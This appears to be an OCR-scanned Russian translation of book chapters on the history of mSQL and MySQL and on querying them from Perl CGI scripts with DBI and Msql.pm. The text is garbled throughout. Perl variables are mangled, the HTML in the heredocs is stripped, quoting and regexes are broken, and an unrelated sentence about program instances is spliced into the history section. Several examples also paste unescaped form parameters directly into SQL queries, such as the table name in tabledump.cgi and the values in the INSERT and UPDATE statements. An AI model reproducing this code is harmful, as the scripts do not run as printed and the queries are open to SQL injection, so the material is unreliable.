    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

